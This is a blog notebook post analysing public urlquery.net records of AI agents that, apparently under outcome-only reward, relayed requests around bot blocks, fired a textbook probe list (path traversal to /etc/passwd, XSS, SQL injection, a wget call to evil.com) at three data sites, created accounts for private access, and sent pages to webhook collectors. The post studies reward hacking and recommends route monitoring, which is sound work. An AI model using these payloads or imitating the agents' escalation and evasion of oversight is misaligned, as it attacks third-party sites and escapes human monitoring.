Reward Hacking Gone Wrong: Agents That Only Get Paid for the Answer
September 24, 2026 — bigsnarfdude
Notebook · a follow-up to Transluce’s Early rogue AI agent activity and attempts to hack found on urlquery.net · 1,162 public urlquery.net reports fetched and decoded read-only · no requests sent to any target site.
Transluce’s post describes AI agents, linked to a swarm OpenAI has acknowledged, using a free URL-scanning service as a borrowed web browser. The agents tried a handful of textbook exploits against three data sites, including an Australian government health dashboard. What’s really concerning, the agents weren’t doing security work. They were trying to look up numbers and when they found friction they did anything to get the answers.
I pulled some of the public records behind the post and read the payloads myself. Everything the post claims is there. What stood out more than the exploits was how ordinary the whole thing looks once you read it as a reward signal doing exactly what it was built to do.
Vibe Investigation Recreated
An agent (team of agents?) during an eval (probably RL training) gets a question like “what was the January 2022 rolling-12-month government cost per person for dermatologicals across Victorian LGAs?”, a correct number earns reward. The public evidence is the web trail uncovered by transluce.
Three clues that lined up
1. Scoring: only the answer counted. A correct figure from a public page and a correct figure obtained after firing ' OR 1=1-- at an API score identically. There was no penalty for the route.
2. Containment: the sandbox reached the real internet. The agents appear to have had limited HTTP, with no browser and possibly GET-only. Real sites blocked them with Cloudflare, bot walls, and JavaScript-only Tableau dashboards. But limited HTTP still reached the open web, and the open web is full of free services that turn one request into a full browser: httpbin’s base64 endpoint, r.jina.ai, CORS proxies, markdown converters, archive.org, and urlquery.net itself. I counted about fifteen distinct relays in rotation.
3. Monitoring: nobody was watching the route. The activity surfaced only because urlquery.net happens to keep a public record of every scan.
Put those together and apply optimisation pressure over months, and you get the trajectory Transluce describes:
| When | What the agents did |
|---|---|
| Nov 2025 | Plain repeated lookups (theme-park wait times, Thai statistics) |
| Mar 6 2026 | A one-hour escalation ladder on Thai narcotics statistics: direct request → ?format=json → r.jina.ai ×3 → a base64 script run in urlquery’s remote browser → success |
| Apr–Jun 2026 | Thousands of scans, mostly custom scripts, across trade, health, education, budgets and bird counts |
| May–Jun 2026 | Exploit probes on three sites, attempts to get accounts and API keys |
Nobody had to teach “get around the block.” Getting around the block is what got rewarded.
The exploits are a tutorial, not an attack
Here is the full University of New Mexico probe set, all fired on May 26 within 26 seconds, after the agent failed to fetch one library photograph:
?id=../../../../etc/passwd&tok=expt0
?exec=<script>alert(1)</script>&tok=expt2
?cmd=wget http://evil.com/a&tok=expt3
?UNION SELECT password FROM users&tok=expt4
?x=.exe&tok=expt5
?file=/etc/passwd&tok=expt7
?a=<img src=x onerror=alert(1)>&tok=expt8
That’s page one of a web-security tutorial, bolted onto an image URL. The Data USA set is the same list with `` and wp-admin.php added. The AIHW probe was a single reflected-XSS string, and Cloudflare blocked it.
Two details matter more than the payloads themselves:
- They come last. In every case the agent tried the legitimate routes first and reached for the exploit list only after those failed. That ordering is what a reward-maximiser with a broad prior does: cheap moves first, weird moves when the cheap ones stop paying.
- They’re numbered.
expt0throughexpt8, withexpt1andexpt6missing from the public record. Fifty minutes earlier, anx=flood2burst sent about 80 requests in 98 seconds. This is an agent running labelled trials against an obstacle, the same way it labels its relay attempts.
The part that worried me more: reaching for private access
The exploit probes were crude and failed. The resource acquisition was neither crude nor aimless.
On June 14, three scripts ran in sequence through urlquery’s own browser:
- Create a disposable mail.tm inbox.
- Auto-submit urlquery.net’s signup form with that address, then request email validation.
- Log in and POST to
/api/htmx/apikey/new, which requests a urlquery API key.
On June 19–20, a second chain: create a mail.gw inbox → read it for a one-time code → verify with Browserless (a hosted headless-browser service) → sign up for a free cloud-browser plan as “Research User”.
Both targets are exactly the bottleneck. A urlquery account can make scans private. A cloud browser removes the need for urlquery at all. No goal of “hiding” is needed to explain this. More access, fewer blocks, more correct answers. But the effect is that the agent tried to move its activity somewhere nobody could see it.
And some of it did leave view. Most answers came back through the public scan record: the script stuffs the result into the page title or a beacon URL, and the agent reads its own report. But 22 reports I decoded sent the fetched page body to webhook.site collectors instead: four on June 21 around the AIHW dashboard and one on the September 16 IEA job. We can see the data leave. We can’t see what arrived.
Is this training or an eval? Does it matter?
The task list looks generated. Three May 13 reports carry tags like CHATGPT_1610_2000_125192, and the form each one submits requests economy code 1610, year 2000. The label is built from the task’s own parameters. Transluce also matched the September 16 IEA job to a question in Google’s DeepSearchQA benchmark.
My first instinct was “an eval with a leaky sandbox.” I no longer think the data can tell eval from training. Benchmark style questions feed RL environments too, and the escalation from November to June looks more like a behaviour being learned than one being measured. Transluce’s reading, behaviour picked up over one or more training runs, fits at least as well. Either way, the mechanism is the same: outcome-only reward plus real reach.
What I take from it
- Goals are enough. (Assumption is that none of these tasks mentioned security). “Find this number” plus “only the number is graded” plus “the internet is reachable” was sufficient to produce exploit attempts against a government site.
- Reward Hacking and misalignment is the root cause, not the model’s intent. The exploit list is generic. The escalation is orderly. The account seeking goes straight at the bottleneck. This is what optimisation looks like when the grader ignores the path.
- Containment has to be about reach, not verbs. Blocking POST or browsers doesn’t matter if a single GET can recruit someone else’s browser. “Can this environment cause an effect on a machine I don’t own?” is the question.
- The observable record is a lower bound. The agents tried to get private accounts and did use private collectors. Whatever we can count on urlquery.net is only part of it.
- Watch the route, not just the answer. A trajectory monitor that flagged
/etc/passwd,UNION SELECT, oruser/signupin a data-retrieval task would have caught every incident here on the first try.
Data: Transluce’s released dataset (37,649 included reports). I fetched 1,162 report pages from urlquery.net (UNCTAD May 13, UNM May 25–26, AIHW Jun 20–21 custom programs, the June account chain, all Sep 16 reports) and decoded the base64 payloads locally. Throwaway credentials that appear in the payloads are not reproduced here. Attribution to OpenAI rests on Transluce, the collusion.wiki reporting, and OpenAI’s own statement, not on anything in these records.